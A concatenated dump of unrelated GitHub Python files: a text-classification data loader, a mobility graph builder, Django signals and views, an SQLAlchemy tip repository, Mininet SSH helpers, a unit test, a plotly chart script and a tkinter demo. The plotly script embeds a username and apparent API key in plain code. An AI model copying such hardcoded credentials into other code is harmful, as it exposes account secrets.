len(train_examples), len(dev_examples), len(test_examples)\n train_examples = train_examples[:min(len(train_examples), pb.Train_Example_Num_Control)]\n dev_examples = dev_examples[:min(len(dev_examples), int(len(train_examples)*1.0/trLen*deLen))]\n test_examples = test_examples[:min(len(test_examples), int(len(train_examples)*1.0/trLen*teLen))]\n trLen, deLen, teLen = len(train_examples), len(dev_examples), len(test_examples)\n alLen = trLen + deLen + teLen\n print('#train_examples: {}({:.2%})'.format(trLen, trLen * 1.0 / alLen))\n print('#dev_examples: {}({:.2%})'.format(deLen, deLen * 1.0 / alLen))\n print('#test_examples: {}({:.2%})'.format(teLen, teLen * 1.0 / alLen))\n pb.Print_Line(color='blue')\n\n # initialize\n def Init_Public(train_examples, dev_examples, test_examples):\n examples = train_examples + dev_examples + test_examples\n bar = tqdm(total=len(examples), ncols=pb.Tqdm_Len)\n for i, example in enumerate(examples):\n # print(example.text)\n sentence = example.text\n # print(sentence)\n\n if pb.Base_Model=='TextCNN':\n example.text = pb.WordSegmentation(example.text)\n else:\n example.text = example.text.split(' ')\n example.text = [word.strip() for word in example.text if len(word.strip())>0]\n\n keywords = jieba.analyse.extract_tags(sentence, topK=pb.INF, withWeight=True)\n keywords_map = {}\n for item in keywords:\n keywords_map[item[0]] = item[1]\n for j in range(len(example.text)):\n example.fully_counterfactual_text.append(pb.Mask_Token)\n if example.text[j] in keywords_map:\n example.partial_counterfactual_text.append(pb.Mask_Token)\n else:\n example.partial_counterfactual_text.append(example.text[j])\n\n bar.set_description( 'Word Segmentating and Partial_Counterfactual Processing')\n bar.update(1)\n bar.close()\n for x in [example.text for example in examples]:\n pb.XMaxLen = min(max(pb.XMaxLen, len(x)), pb.XMaxLenLimit)\n Init_Public(train_examples, dev_examples, test_examples)\n print('pb.XMaxLen={}'.format(pb.XMaxLen))\n print('pb.YList={} {}'.format(len(pb.YList), pb.YList))\n pb.Print_Line(color='blue')\n\n # probability distributions\n train_distribution = pb.Train_Distribution = [0 for _ in range(len(pb.YList))]\n dev_distribution = [0 for _ in range(len(pb.YList))]\n test_distribution = [0 for _ in range(len(pb.YList))]\n for e in train_examples: train_distribution[pb.YList.index(e.label)] += 1\n for e in dev_examples: dev_distribution[pb.YList.index(e.label)] += 1\n for e in test_examples: test_distribution[pb.YList.index(e.label)] += 1\n train_distribution = [x * 1.0 / sum(train_distribution) for x in train_distribution]\n dev_distribution = [x * 1.0 / sum(dev_distribution) for x in dev_distribution]\n test_distribution = [x * 1.0 / sum(test_distribution) for x in test_distribution]\n print('train_distribution: [', end='')\n for v in train_distribution: print('{:.2%}'.format(v), end=' ')\n print('] {}'.format('Balanced' if pb.EDA==True else 'Raw'))\n print('dev_distribution: [', end='')\n for v in dev_distribution: print('{:.2%}'.format(v), end=' ')\n print(']')\n print('test_distribution: [', end='')\n for v in test_distribution: print('{:.2%}'.format(v), end=' ')\n print(']')\n pb.Print_Line(color='blue')\n\n # MASK ratio\n examples = train_examples + dev_examples + test_examples\n Ratio = 0.0\n for example in examples:\n up = len([word for word in example.partial_counterfactual_text if word == pb.Mask_Token])\n down = len(example.text)\n Ratio += up * 1.0 / down\n Ratio = Ratio * 1.0 / len(examples)\n print('{:.2%} MASKed ({:.2%} is context)'.format(Ratio, 1.0 - Ratio))\n\n self.train_examples = train_examples\n self.dev_examples = dev_examples\n self.test_examples = test_examples\n\n def Label_Balance(self, examples):\n\n examples_list = [[] for _ in pb.YList]\n sampled_examples_list = [[] for _ in pb.YList]\n\n for example in examples:\n index = pb.YList.index(example.label)\n examples_list[index].append(example)\n sampled_examples_list[index].append(example)\n sample_num = int(np.max([len(obj) for obj in examples_list]) * 1.0)\n\n balanced_examples = []\n for i in range(len(sampled_examples_list)):\n while (len(sampled_examples_list[i]) < sample_num):\n example = random.choice(examples_list[i])\n sampled_examples_list[i].append( copy.deepcopy(example) )\n balanced_examples.extend(sampled_examples_list[i])\n return balanced_examples\n\nclass MyDataset(Dataset):\n def __init__(self):\n pass\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, index):\n index %= self.__len__()\n\n x = self.examples[index].text\n fcx = self.examples[index].fully_counterfactual_text\n pcx = self.examples[index].partial_counterfactual_text\n x = pb.Defined_Spliter.join(x)\n fcx = pb.Defined_Spliter.join(fcx)\n pcx = pb.Defined_Spliter.join(pcx)\n\n y = self.examples[index].label\n x_tensor = self.Generate_X_Tensor(x)\n fcx_tensor = torch.Tensor(np.array([0.0]))\n pcx_tensor = self.Generate_X_Tensor(pcx)\n y_tensor = self.Generate_Y_Tensor(y)\n return x, fcx, pcx, y, x_tensor, fcx_tensor, pcx_tensor, y_tensor\n\n def Generate_X_Tensor(self, text):\n pass\n\n def Generate_Y_Tensor(self, label):\n tensor = torch.zeros(len(pb.YList))\n tensor[pb.YList.index(label)] = 1\n tensor = torch.argmax(tensor)\n if pb.Use_GPU == True:\n tensor = tensor.cuda()\n return tensor\n\nclass MyDataset_TextCNN(MyDataset):\n def __init__(self, embedding, word2id, examples):\n super(MyDataset, self).__init__()\n self.embedding = embedding\n self.word2id = word2id\n self.examples = examples\n self.sentence_max_size = pb.XMaxLen\n self.embedding_dim = pb.Embedding_Dimension\n\n def Generate_X_Tensor(self, text):\n words = text\n tensor = torch.zeros([self.sentence_max_size, self.embedding_dim])\n for index in range(0, self.sentence_max_size):\n if index >= len(words):\n break\n else:\n word = words[index]\n if word in self.word2id:\n vector = self.embedding.weight[self.word2id[word]]\n tensor[index] = vector\n elif word.lower() in self.word2id:\n vector = self.embedding.weight[self.word2id[word.lower()]]\n tensor[index] = vector\n if pb.Use_GPU == True:\n tensor = tensor.cuda()\n return tensor\n\nclass MyDataset_RoBERTa(MyDataset):\n def __init__(self, examples, roberta):\n super(MyDataset, self).__init__()\n self.roberta = roberta\n self.examples = examples\n\n def Generate_X_Tensor(self, text):\n text = ' '.join(text)\n tokens = self.roberta.encode(text)\n tokens = tokens[:min(512, len(tokens))]\n last_layer_feature = self.roberta.extract_features(tokens)[-1][0]\n if pb.Use_GPU == True:\n last_layer_feature = last_layer_feature.cuda()\n return last_layer_feature\n","repo_name":"qianc62/Corsair","sub_path":"code/MyData.py","file_name":"MyData.py","file_ext":"py","file_size_in_byte":11297,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"78"} +{"seq_id":"72055853691","text":"import pickle as pkl\r\nimport numpy as np\r\nimport scipy.sparse as sp\r\nfrom scipy.io import loadmat\r\nfrom tqdm import *\r\nfrom utils import *\r\n\r\ncut = 0\r\nthreshold = 0\r\n\r\nargs = initialization()\r\nNetwork = args.Network\r\npop_num = args.pop_num # 应该是所有人数之和,一会改\r\nRegion_num = args.region_num # number of regions\r\n\r\nif cut == 0 and threshold == 0:\r\n graph_dir = '../../data/{0}/graphs/no_cut'.format(Network)\r\n pop_info_dir = '../../data/{0}/trajectories/pop_info.pkl' \\\r\n .format(Network)\r\nelse:\r\n graph_dir = '../../data/{0}/graphs/th_{1}_cut_{2}'.format(Network, threshold, cut)\r\n pop_info_dir = '../../data/{0}/trajectories/pop_info_th_{1}_cut_{2}.pkl' \\\r\n .format(Network, threshold, cut)\r\n\r\nsave_dir = '{0}/wij_graph'.format(graph_dir)\r\nmkdir(save_dir)\r\nwith open(pop_info_dir, 'rb') as fh:\r\n pop_info = pkl.load(fh)\r\npop_info_and_trajectory = loadmat(\"../../data/BJ-331/region_file/population_xa.mat\".format(Network))\r\npopulation = pop_info_and_trajectory['population_xa']\r\n\r\nprint('data loaded!')\r\n\r\nloc_list = []\r\n# 产生地点的列表\r\nfor i in range(len(population[0])):\r\n loc_list.append(str(i))\r\n\r\nnp.save('{0}/loc_list.npy'.format(save_dir), np.array(loc_list))\r\n\r\nprint('location list generated')\r\n\r\n# 记录每个人的家的位置\r\nhome_location = []\r\nfor i in range(len(pop_info)):\r\n person_info = pop_info[i]\r\n home_location.append(str(person_info['home']))\r\nhome_location = np.array(home_location)\r\n\r\nnp.save('{0}/home_location.npy'.format(save_dir), home_location)\r\n\r\nprint('home location list generated')\r\n\r\n# 产生两个地点之间的引力值大小\r\nloc_dist_map = np.zeros((len(loc_list), len(loc_list)))\r\ntime_length = 100\r\nfor i in tqdm(range(pop_num), desc='generating weight'): # 对于每个人\r\n trace = pop_info[i]['trace'] # trace为其轨迹\r\n home = home_location[i] # home为其家所在区域\r\n for j in range(time_length): # 对于每个时间片\r\n destination = trace[j][0] # destination为其目的地\r\n loc_dist_map[int(home), destination] += 1 # 累加轨迹权重\r\n\r\nloc_dist_map_sparse = sp.csr_matrix(loc_dist_map)\r\nsp.save_npz('{0}/loc_dist_map.npy'.format(save_dir), loc_dist_map_sparse)\r\nwij_graph = np.zeros((331, 331))\r\nfor region_idx, region_data in enumerate(loc_dist_map):\r\n sum_data = np.sum(region_data)\r\n if not sum_data == 0:\r\n normalized_region_data = region_data / sum_data\r\n wij_graph[region_idx] = normalized_region_data\r\nwij_graph_sparse = sp.csc_matrix(wij_graph)\r\n\r\nsp.save_npz('{0}/wij_graph.npz'.format(save_dir), wij_graph_sparse)\r\n","repo_name":"tsinghua-fib-lab/MSDNet","sub_path":"generate_dataset/simulate_illness_spread/6-generate_wij_graph.py","file_name":"6-generate_wij_graph.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7699013318","text":"from django.contrib.auth.models import User\nfrom .models import Profile\nfrom django.db.models.signals import post_save,post_delete\nfrom django.dispatch import receiver\nfrom django.core.mail import send_mail\nfrom django.conf import settings\n\n# @receiver(post_save,sender=Profile)\n\n# created có giá trị True hoặc False cho biết 1 user được thêm\n# hoặc 1 model (instance) được thêm vào database\n# created == True : tạo mới\n# created == False : cập nhật \ndef profileUpdated(sender,instance,created,**kwargs):\n if created:\n print('New User - New Profile !!!')\n user = instance\n profile = Profile.objects.create(\n user=user,\n username=user.username,\n email=user.email,\n name=user.first_name\n )\n\n subject = 'Welcome to Devsearch'\n message = 'We are glad you are here'\n\n send_mail(\n subject,\n message,\n settings.EMAIL_HOST_USER,\n [profile.email],\n fail_silently=False\n )\n\n# Khi 1 User được save mới thì Profile mới sẽ được tạo\npost_save.connect(profileUpdated,sender=User)\n\ndef profileDelete(sender,instance,**kwargs):\n try:\n user = instance.user\n user.delete()\n except:\n pass\n \n# Khi 1 Profile delete thì user sẽ delete theo\npost_delete.connect(profileDelete,sender=Profile)\n\n# Khi 1 Profile được chỉnh sửa --> Created == False\n# thì user sẽ được tự động update theo \ndef updateUser(sender,instance,created,**kwargs):\n profile = instance\n user = profile.user\n if created == False:\n print('Update Profile - update user')\n user.first_name = profile.name\n user.username = profile.username\n user.email = profile.email\n user.save()\n\npost_save.connect(updateUser,sender=Profile)","repo_name":"hopnguyen123/devsearch_django","sub_path":"devsearch/users/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22535638383","text":"from django.shortcuts import render, redirect\r\nfrom .forms import SignUpForm,LoginForm,AddFlavourForm,FlavourTransactionForm\r\nfrom django.contrib.auth import authenticate, login,logout\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom .models import Flavour,CustomUser,Transaction\r\n\r\ndef home(request):\r\n return render(request,'app/index.html')\r\n\r\ndef signup(request):\r\n if request.method == 'POST':\r\n form = SignUpForm(request.POST)\r\n if form.is_valid():\r\n form.save()\r\n return redirect('home')\r\n else:\r\n form = SignUpForm()\r\n return render(request, 'app/signup.html', {'form': form})\r\n\r\ndef login_view(request):\r\n if request.method == 'POST':\r\n form = LoginForm(request, data=request.POST)\r\n if form.is_valid():\r\n username = form.cleaned_data.get('username')\r\n password = form.cleaned_data.get('password')\r\n user = authenticate(request,username=username, password=password)\r\n if user is not None:\r\n login(request, user)\r\n return redirect('home') \r\n else:\r\n form = LoginForm()\r\n return render(request, 'app/login.html', {'form': form})\r\n\r\ndef user_logout(request):\r\n logout(request)\r\n return redirect(\"home\")\r\n\r\ndef user_details(request):\r\n user = request.user\r\n return render(request, 'app/user_details.html', {'user': user})\r\n\r\n@login_required\r\ndef flavour_transaction(request):\r\n if request.method == 'POST':\r\n form = FlavourTransactionForm(request.POST)\r\n if form.is_valid():\r\n action = form.cleaned_data['action']\r\n flavour = form.cleaned_data['flavour']\r\n quantity = form.cleaned_data['quantity']\r\n user_profile = CustomUser.objects.get(pk=request.user.pk)\r\n\r\n if action == 'decrease':\r\n flavour.quantity -= quantity\r\n if flavour.quantity<0:\r\n return render(request,'app/error_flavour.html',{'error_message': 'Insufficient balance','quantity':int(flavour.quantity+quantity)})\r\n user_profile.balance += quantity\r\n\r\n elif action == 'increase':\r\n flavour.quantity += quantity\r\n user_profile.balance -= quantity\r\n if user_profile.balance<0:\r\n return render(request, 'app/error.html', {'error_message': 'Insufficient balance','balance':int(user_profile.balance+quantity)})\r\n\r\n flavour.save()\r\n user_profile.save()\r\n return redirect('list_flavour')\r\n else:\r\n form = FlavourTransactionForm()\r\n user_profile = CustomUser.objects.get(pk=request.user.pk)\r\n return render(request, 'app/update.html', {'form': form,'balance':user_profile.balance})\r\n\r\n@login_required\r\ndef profile_view(request):\r\n user_profile = CustomUser.objects.get(pk=request.user.pk)\r\n transactions = Transaction.objects.filter(pk=request.user.pk)\r\n return render(request, 'profile.html', {'user_profile': user_profile, 'transactions': transactions})\r\n\r\n@login_required\r\ndef add_flavour(request):\r\n if request.method == 'POST':\r\n form = AddFlavourForm(request.POST)\r\n if form.is_valid():\r\n flavour = form.save(commit=False)\r\n user_profile = CustomUser.objects.get(pk=request.user.pk)\r\n total_cost = flavour.quantity \r\n\r\n if total_cost > user_profile.balance:\r\n return render(request, 'app/error.html', {'error_message': 'Insufficient balance','balance':user_profile.balance})\r\n\r\n flavour.save()\r\n user_profile.balance -= total_cost\r\n user_profile.save()\r\n return redirect('list_flavour')\r\n else:\r\n form = AddFlavourForm()\r\n user_profile = CustomUser.objects.get(pk=request.user.pk)\r\n return render(request, 'app/upload.html', {'form': form,'balance':user_profile.balance})\r\n\r\n@login_required\r\ndef list_flavour(request):\r\n flavour = Flavour.objects.all()\r\n return render(request, 'app/list.html', {'flavour': flavour})\r\n\r\n@login_required\r\ndef delete(request,id):\r\n flavour=Flavour.objects.get(pk=id)\r\n user_profile = CustomUser.objects.get(pk=request.user.pk)\r\n user_profile.balance+=flavour.quantity\r\n user_profile.save()\r\n\r\n flavour.delete()\r\n \r\n return redirect('list_flavour')\r\n\r\n","repo_name":"canaltinoz/basic-stock-app_v2","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27325764489","text":"# From rest_framework\nfrom rest_framework import generics, response, status, permissions\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt import authentication\n# From app\nfrom wines.models import Wine\nfrom .serializers import CartSerializer, CartDetailSerializer, ListCartSerializer, CartDetailUpdateSerializer\nfrom ..models import Cart, CartDetail\n\n\n\nclass CartListCreate(generics.ListCreateAPIView): \n authentication_classes = [authentication.JWTAuthentication]\n permission_classes = [permissions.IsAuthenticated] \n serializer_class = ListCartSerializer\n pagination_class = None\n \n def get_queryset(self):\n self.queryset = Cart.objects.filter(account=self.request.user) \n return super().get_queryset() \n \n def get_serializer_class(self):\n if(self.request.method == \"POST\"):\n self.serializer_class = CartSerializer \n return super().get_serializer_class()\n \n def create(self, request, *args, **kwargs): # error when first create cart_detail will none\n user = request.user.id \n for cart_detail in request.data: \n wine_id = cart_detail.get(\"wine\")\n quantity = cart_detail.get(\"quantity\")\n if(quantity < 1): \n return response.Response(data={\"quantity\": [\"Invalid quantity\"]}, status=status.HTTP_400_BAD_REQUEST)\n \n data = Wine.objects.get(id = wine_id)\n winery_id = data.winery.id\n # Check Cart exist, create or get \n cart = Cart.objects.filter(winery=winery_id, account=user) \n if not (cart.exists()):\n cart_data = {\n \"winery\": winery_id,\n \"account\": user\n }\n serializer = self.get_serializer(data=cart_data)\n serializer.is_valid(raise_exception=True)\n instance_cart = serializer.save() \n cart_id = instance_cart.id \n \n else:\n instance_cart = cart[0]\n cart_id = instance_cart.id \n \n # Check Cart Detail exist, create or update\n cart_detail = CartDetail.objects.filter(cart=cart_id, wine=wine_id)\n \n if(cart_detail.exists()):\n quantity = quantity + cart_detail[0].quantity\n ob_cart_detail = {\n \"quantity\": quantity \n }\n serializer_cart_detail = CartDetailSerializer(cart_detail[0],data = ob_cart_detail, partial=True)\n \n if serializer_cart_detail.is_valid(raise_exception=True):\n serializer_cart_detail.save() \n \n else: \n ob_cart_detail = {\n \"quantity\": quantity,\n \"cart\": cart_id,\n \"wine\": wine_id \n }\n serializer_cart_detail = CartDetailSerializer(data = ob_cart_detail)\n if serializer_cart_detail.is_valid(raise_exception=True):\n serializer_cart_detail.save() \n \n return response.Response(status=status.HTTP_200_OK)\n \n \nclass CartRetrieve(generics.RetrieveUpdateDestroyAPIView): \n serializer_class = ListCartSerializer\n authentication_classes = [authentication.JWTAuthentication]\n permission_classes = [permissions.IsAuthenticated] \n lookup_url_kwarg = 'cart_id' \n \n def get_queryset(self):\n self.queryset = Cart.objects.filter(account=self.request.user.id)\n return super().get_queryset()\n \n def get_serializer_class(self):\n if(self.request.method == \"PUT\"):\n self.serializer_class = CartDetailUpdateSerializer \n \n return super().get_serializer_class()\n \n def get_object(self):\n if(self.request.method == \"PUT\"):\n cart_id = self.kwargs.get(self.lookup_url_kwarg)\n id = self.request.data.get(\"cart_detail\")\n obj = CartDetail.objects.filter(id=id, cart=cart_id) #check cart_detail of cart , cart=self.kwargs.get(self.lookup_url_kwarg)\n if(obj.exists()):\n return obj[0]\n \n return Response(data={\"detail\": \"Not found\"},status=status.HTTP_404_NOT_FOUND)\n \n return super().get_object() \n \n def destroy(self, request, *args, **kwargs):\n instance = self.get_object()\n self.perform_destroy(instance) \n return Response(status=status.HTTP_204_NO_CONTENT)\n \n def update(self, request, *args, **kwargs):\n partial = kwargs.pop('partial', True)\n instance = self.get_object()\n try: \n if(instance.status_code == 404):\n return instance\n except:\n pass\n \n serializer = self.get_serializer(instance, data=request.data, partial=partial)\n serializer.is_valid(raise_exception=True)\n self.perform_update(serializer)\n \n if getattr(instance, '_prefetched_objects_cache', None):\n # If 'prefetch_related' has been applied to a queryset, we need to\n # forcibly invalidate the prefetch cache on the instance.\n instance._prefetched_objects_cache = {}\n\n return Response(serializer.data)","repo_name":"KimThanh27920/wineclub-be","sub_path":"wineclub/carts/customer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18382628144","text":"from typing import List\nfrom datetime import datetime\nfrom sqlalchemy.exc import IntegrityError\nfrom psycopg2.errors import UniqueViolation # pylint: disable=no-name-in-module\nfrom database import database\nfrom entities.book_tip import BookTip\n\n\nclass TipRepository:\n def get_all_tips(self, order: str = \"likes\") -> List[BookTip]:\n sql = \"\"\"SELECT t.id, t.type, t.title, t.author, t.timestamp, t.adder_username\n FROM tips t LEFT JOIN likes l ON l.tip_id = t.id\n GROUP BY t.id\"\"\"\n if order == \"time\":\n sql += \" ORDER BY t.timestamp DESC, COUNT(l.username) DESC\"\n else:\n sql += \" ORDER BY COUNT(l.username) DESC, t.timestamp DESC\"\n\n result = database.session.execute(sql)\n tips = []\n for tip in result.fetchall():\n if tip[\"type\"] == \"book\":\n tips.append(self.get_book_tip(\n tip[\"id\"],\n tip[\"title\"],\n tip[\"author\"],\n tip[\"adder_username\"],\n tip[\"timestamp\"],\n self.get_tip_likes(tip[\"id\"])\n ))\n\n return tips\n\n def get_book_tip(self, tip_id: int, title: str, author: str, adder_username: str, timestamp: datetime, likes: List[str]) -> BookTip:\n sql = \"\"\"SELECT title, author, year\n FROM book_tips\n WHERE title = :title AND author = :author\"\"\"\n book_tip = database.session.execute(sql, {\n \"title\": title,\n \"author\": author\n }).fetchone()\n\n return BookTip(\n tip_id,\n book_tip[\"title\"],\n book_tip[\"author\"],\n book_tip[\"year\"],\n adder_username,\n timestamp,\n likes\n )\n\n def get_tip_likes(self, tip_id: int) -> List[str]:\n sql = \"SELECT username FROM likes WHERE tip_id = :tip_id\"\n\n result = database.session.execute(sql, {\"tip_id\": tip_id}).fetchall()\n all_likes = []\n for item in result:\n all_likes.append(item[\"username\"])\n return all_likes\n\n def get_tip_id(self, tip: BookTip) -> int:\n sql = \"\"\"SELECT id\n FROM tips\n WHERE type = :type AND title = :title AND author = :author AND adder_username = :adder_username\"\"\"\n result = database.session.execute(sql, {\n \"type\": tip.type,\n \"title\": tip.title,\n \"author\": tip.author,\n \"adder_username\": tip.adder_username\n }).fetchone()\n return int(result[\"id\"])\n\n def add_book_tip(self, title: str, author: str, year: int, adder_username: str) -> bool:\n try:\n sql = \"\"\"INSERT INTO tips (type, title, author, adder_username, timestamp)\n VALUES (:type, :title, :author, :adder_username, :timestamp)\"\"\"\n database.session.execute(\n sql,\n {\n \"type\": \"book\",\n \"title\": title,\n \"author\": author,\n \"adder_username\": adder_username,\n \"timestamp\": datetime.now()\n }\n )\n\n sql2 = \"\"\"INSERT INTO book_tips (title, author, year)\n VALUES (:title, :author, :year) \n ON CONFLICT DO NOTHING\"\"\"\n database.session.execute(sql2, {\n \"title\": title,\n \"author\": author,\n \"year\": year\n })\n database.session.commit()\n return True\n except IntegrityError as error:\n # UNIQUE constraint fail\n assert isinstance(error.orig, UniqueViolation)\n database.session.rollback()\n return False\n\n def add_like(self, tip_id: int, username: str) -> bool:\n try:\n sql = \"\"\"INSERT INTO likes VALUES (:tip_id, :username)\"\"\"\n database.session.execute(sql, {\n \"tip_id\": tip_id,\n \"username\": username\n })\n database.session.commit()\n return True\n except IntegrityError as error:\n # UNIQUE constraint fail\n assert isinstance(error.orig, UniqueViolation)\n database.session.rollback()\n return False\n\n def remove_like(self, tip_id: int, username: str) -> bool:\n sql = \"DELETE FROM likes WHERE tip_id = :tip_id AND username = :username\"\n\n database.session.execute(sql, {\n \"tip_id\": tip_id,\n \"username\": username\n })\n database.session.commit()\n # I'm pretty sure this cannot fail so just return True :D.\n return True\n\n def delete_all(self) -> None:\n sql = \"DELETE FROM likes; DELETE FROM tips; DELETE FROM book_tips\"\n database.session.execute(sql)\n database.session.commit()\n\n def delete_tip(self, tip: BookTip) -> None:\n sql = \"\"\"DELETE FROM tips\n WHERE type = :type AND title = :title AND adder_username = :adder_username\"\"\"\n database.session.execute(\n sql, {\"type\": tip.type, \"title\": tip.title, \"adder_username\": tip.adder_username})\n database.session.commit()\n\n\ntip_repository = TipRepository()\n","repo_name":"kimmomuli/Lukuvinkkikirjasto","sub_path":"src/repositories/tip_repository.py","file_name":"tip_repository.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43665230742","text":"#from main import logger_MininetCE\n\n\ndef send_mininet_cmd_to_cluster_node(node_IP, cmd, ssh_chan_map, quite=True):\n '''Send Mininet console command to cluster node.\n\n Args:\n node_IP: IP address of cluster node.\n cmd: Console command scripts.\n '''\n\n cmd += '\\n'\n ssh_chan_map[node_IP].send(cmd)\n buff = \"\"\n if cmd != 'exit\\n':\n while not buff.endswith('mininet> '):\n buff += ssh_chan_map[node_IP].recv(9999)\n # print(\"SUCCESS:\" + node_IP + \": \" + cmd)\n # print buff\n if not quite:\n buff_lines = buff.splitlines()\n for line in buff_lines[:-1]:\n print(line)\n #logger_MininetCE.info(\"SUCCESS:\" + node_IP + \": \" + cmd)\n\n\ndef send_mininet_ping_to_cluster_node(node_IP, cmd, ssh_chan_map):\n '''Send Mininet console command PING to cluster node and check the result of its execution.\n\n Args:\n node_IP: IP address of cluster node.\n cmd: Console command scripts.\n\n Returns:\n True: If the ping reached the destination point successfully.\n False: If the ping failed to reach the destination point.\n '''\n cmd += '\\n'\n ssh_chan_map[node_IP].send(cmd)\n buff = ''\n while not buff.endswith('mininet> '):\n if ssh_chan_map[node_IP].recv_ready():\n buff += ssh_chan_map[node_IP].recv(9999)\n buff_lines = buff.splitlines()\n for line in buff_lines[:-1]:\n print(line)\n\ndef test_delay_between_mn_hosts(node_IP, src_host_IP, dst_host_IP, threshold, ssh_chan_map):\n '''Send Mininet console command to test delay between hosts and compare to threshold.\n\n Args:\n node_IP: IP address of cluster node.\n src_host_IP: IP address of source host.\n dst_host_IP: IP address of destination host.\n threshold: Needed threshold of link delay.\n\n Returns:\n True: If link delay less then threshold.\n False: Of link delay overcome the threshold.\n '''\n pass\n","repo_name":"anvial/MininetClusterEdition","sub_path":"src/clustertools/cluster_mininet_cmd_manager.py","file_name":"cluster_mininet_cmd_manager.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"19629246713","text":"import unittest\r\nfrom magnitude import part1, part2\r\n\r\n\r\nclass day02_test(unittest.TestCase):\r\n\r\n def test_part1(self):\r\n test_data = [\"forward 5\", \"down 5\",\r\n \"forward 8\", \"up 3\", \"down 8\", \"forward 2\"]\r\n self.assertEqual(150, part1(test_data))\r\n\r\n def test_part2(self):\r\n test_data = [\"forward 5\", \"down 5\",\r\n \"forward 8\", \"up 3\", \"down 8\", \"forward 2\"]\r\n self.assertEqual(900, part2(test_data))\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"flyofkodos/adventofcode2021","sub_path":"02/python/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3560655452","text":"#coding: utf-8\nimport pandas as pd\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nimport seaborn as sb\n\n\n\n\nclass Graph():\n def __init__(self, fname):\n self.df = pd.read_csv(fname, encoding='utf-8', index_col='Unnamed: 0')\n py.sign_in('sawaranokirimi', '20g7wciegi')\n\n def columns(self):\n return ['uniform', 'm=3', 'm=4', 'm=9', 'm=12',\\\n 'm=27(Ⅰ)', 'm=27(Ⅱ)', 'm=27(Ⅲ)',\\\n 'm=36(Ⅰ)', 'm=36(Ⅱ)', \\\n 'm=81(Ⅰ)', 'm=81(Ⅱ)', 'm=81(Ⅲ)', 'm=81(Ⅳ)', 'm=81(Ⅴ)', 'm=81(Ⅵ)',\\\n 'm=108(Ⅰ)', 'm=108(Ⅱ)', 'm=108(Ⅲ)', 'm=108(Ⅳ)',\\\n 'm=108(Ⅴ)', 'm=108(Ⅵ)', \\\n 'm=324(Ⅰ)', 'm=324(Ⅱ)', 'm=324(Ⅲ)', 'm=324(Ⅳ)', 'm=324(Ⅴ)', 'm=324(Ⅵ)',\\\n 'm=324(Ⅶ)', 'm=324(Ⅷ)', 'm=324(Ⅸ)', 'm=324(X)', 'm=324(XⅠ)', 'm=324(XⅡ)',\\\n 'm=324(XⅢ)', 'm=324(XⅣ)', 'm=324(XⅤ)']\n \n def get_layout(self): \n return go.Layout(title='',\n width=800,\n bargroupgap=0.3,\n margin=dict(r=80, l=80),\n yaxis=dict(title='power spectra',\n exponentformat='power',\n showexponent='last'\n ), \n xaxis=dict(tickangle=60,\n ticks='outside',\n tickwidth=2,\n ticklen=5,\n tickfont=dict(color='rgb(0,0,0)')\n ) \n )\n\n\n def get_bar(self):\n data = go.Bar(x=self.columns(),\n y=self.df['norm'],\n marker=dict(color='rgb(200,200,200)', line=dict(width=2))\n )\n return data\n\n def figure(self):\n data = [self.get_bar()]\n layout = self.get_layout()\n fig = go.Figure(data=data, layout=layout)\n py.plot(fig, filename='basic-bar')\n return fig\n\n def showfig(self):\n py.image.save_as(self.figure(), filename='figure_norm.pdf')\n\n\ndef main1():\n inputfile = 'norm.csv'\n graph = Graph(fname=inputfile)\n graph.showfig()\n\n\n\nif __name__ == '__main__':\n main1()\n","repo_name":"sawaranokirimi/backup","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7345864812","text":"#-*- coding: utf-8 -*-\nimport tkinter\nTK=tkinter\nroot=TK.Tk()\nroot.wm_title('window')\nroot.wm_minsize(300,200)\n\nl1=TK.Label(root)\nl1['text']='hello world'\nl2=TK.Label(root,text='l1 hello world',background='#a0ffff' )\n\nl1.pack()\nl2.pack()\n\n\nclass ad_lable:\n\ts=[]\n\tdef add_lable(self):\n\t\tglobal root\n\t\tself.s.append(TK.Label(root,text='add '+str(len(self.s)+1)))\n\t\tself.s[-1].pack()\n\tdef del_lable(self):\n\t\tif(len(self.s)):\n\t\t\tself.s[-1].pack_forget()#.grid_forget()#这样无效\n\t\t\tself.s.pop(-1)\nad=ad_lable()\nb1=TK.Button(root,text='add label',command=ad.add_lable)\nb1.pack()#这里这是注册用的\n#del b1#没有变化\n\nb2=TK.Button(root,text='del label',command=ad.del_lable)\nb2.pack()\n\ndef b3_fun(event):\n\tglobal b3\n\tb3['text'] = event\ndef b3_func(event):\n\tglobal b3\n\tb3['text'] = b3['text']+' func'\n\nb3=TK.Button(root,text='b3')\nb3.bind('',b3_fun)#也会进来\nb3.bind('',b3_func,add=True)\nb3.bind('',b3_fun)\nb3.bind('',b3_fun)#????\nb3.pack()\n\nb4=TK.Button(root,text='b4',width='20',height='2',background='#a0ffa0')\nb4.pack()\n\nroot.mainloop()","repo_name":"thetime50/Tkinter-practice","sub_path":"02 